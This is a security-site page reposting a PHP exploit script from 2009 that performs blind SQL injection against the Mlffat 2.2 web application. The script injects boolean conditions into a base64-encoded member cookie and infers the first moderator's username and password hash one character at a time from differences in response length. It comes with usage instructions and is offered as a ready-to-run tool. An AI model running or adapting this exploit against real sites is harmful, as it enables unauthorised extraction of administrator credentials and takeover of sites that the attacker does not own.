首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mlffat 2.2 Remote Blind SQL Injection Exploit
来源:www.vfcocus.net 作者:Qabandi 发布时间:2009-07-10  

<?php
ini_set("max_execution_time",0);
print_r('
                                       ||          ||   | ||
                                o_,_7 _||  . _o_7 _|| q_|_||  o_///_,
                               (  :  /    (_)    /           (      .

                                        ___________________
                                      _/QQQQQQQQQQQQQQQQQQQ\__
[q] Mlffat 2.2 Blind SQL Inj.      __/QQQ/````````````````\QQQ\___
                                 _/QQQQQ/                  \QQQQQQ\
[q] Cookie <3                   /QQQQ/``                    ```QQQQ\
                               /QQQQ/                          \QQQQ\
[q] http://www.mlffat.com     |QQQQ/    By  Qabandi             \QQQQ|
                              |QQQQ|                            |QQQQ|
                              |QQQQ|    From Kuwait, PEACE...   |QQQQ|
                              |QQQQ|                            |QQQQ|
                              |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
[/]   -[Tam al tableegh]-      \QQQQ\                      __  /QQQQ/
                                \QQQQ\                    /QQ\_QQQQ/
                                 \QQQQ\                   \QQQQQQQ/
                                  \QQQQQ\                 /QQQQQ/_
                                   ``\QQQQQ\_____________/QQQ/\QQQQ\_
                                      ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
                                         ```````````````````     `````
 ______________________________________________________________________________
/                                                                              \
|                          Sec-Code.com ;)    Join the revolution              |
\______________________________________________________________________________/
                                \ No More Private /
                                 `````````````````
');

if ($argc<6) {
print_r('
-----------------------------------------------------------------------------
Usage:   php '.$argv[0].' VICTIM DIR user_id username password
--VICTIM == the website that has the script installed.
--DIR    == Directory of script, /mlffat/ or // for root dir
--user_id== Your user ID (you must register)
--username= your username
--password= your password

example: php '.$argv[0].' mlffat.com /demo/ 1 mlffat test

or if in root dir:
example: php '.$argv[0].' EXAMPLE.com // 1 mlffat test
-----------------------------------------------------------------------------
');
die;
}
 function QABANDI($victim,$vic_dir,$user_id,$user_name,$user_pass,$injection){
$host = $victim;
$usrid= $user_id;
$usrnm= $user_name;
$usrpw= $user_pass;
$p = "http://".$host.$vic_dir;

$user_id_inj = $usrid.$injection;
$qookie = base64_encode($user_id_inj.":".$usrnm.":".md5($usrpw));
          $packet ="GET ".$p."index.php?action=account&view=editprofile HTTP/1.0\r\n";
          $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          $packet.="Pragma: no-cache\r\n";
          $packet.="Cookie: member=".$qookie.";\r\n";
          $packet.="Connection: Close\r\n\r\n";
        //  if ($debug == 1){
        // print $qookie."\n\n";
         // }
 $o = @fsockopen($host, 80);
 if(!$o){
  echo "\n[x] No response...\n";
  die;
 }
 
 fputs($o, $packet);
 while (!feof($o)) $data .= fread($o, 1024);
 fclose($o);
 
 $_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
 if ( !empty($_404) ){
  echo "\n[x] 404 Not Found... Make sure of path. \n";
  die;
 }

                                           return $data;

 }

$host1 = $argv[1];
$userdir1=$argv[2];
$userid1= $argv[3];
$username1= $argv[4];
$userpass1= $argv[5];

 

 


if ($argc > 2) {

echo "\nPlease wait, this will take time, el9abr zain ;)\n";
$r = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and 1='1"));
echo "\nExploiting:\n";
$w = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and 1='0"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {

  $q = QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from mlffat_moderators limit 0,1),".$i.",1))!='0");

$laenge = strlen($q);
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }

 

      $laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from mlffat_moderators limit 0,1),".$j.",1))>'".$i));

           

      if (abs((100-($laenge/$r*100))) > $t-1) {

 


                  $laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from mlffat_moderators limit 0,1),".$j.",1))>'".($i-1)));

 

 

     

         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
     

   //          if ($j>9){

 //    $hg=QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from mlffat_moderators limit 0,1),".$j.",1)) > '".$i);


       //      }
            
             //             if ($j<9){

 //    $hg=QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from mlffat_moderators limit 0,1),".$j.",1)) > '".$i);

 
     //        }
                             //         if ($j=9){

     $hg=QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from mlffat_moderators limit 0,1),".$j.",1)) > '".$i,1);


      //       }

      $laenge = strlen($hg);

      if (abs((100-($laenge/$r*100))) > $t-1) {
       
       

         $laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from mlffat_moderators limit 0,1),".$j.",1)) > '".($i-1),1));


         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·otsAV DJ 1.85.064 (.ofl File)
·TalkBack 2.3.14 Multiple Remot
·Nwahy Dir 2.1 Arbitrary Change
·Universe CMS 1.0.6 (vnews.php
·Linux Kernel <= 2.6.28.3 set_s
·Microsoft Internet Explorer (A
·Microsoft DirectShow (msvidctl
·PatPlayer 3.9 (M3U File) Local
·Photo DVD Maker Pro <= 8.02 (.
·Rcmd.vbs 1.01修正版
·MS Internet Explorer 7 Video A
·MySQL version 5.0.45 suffers f
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved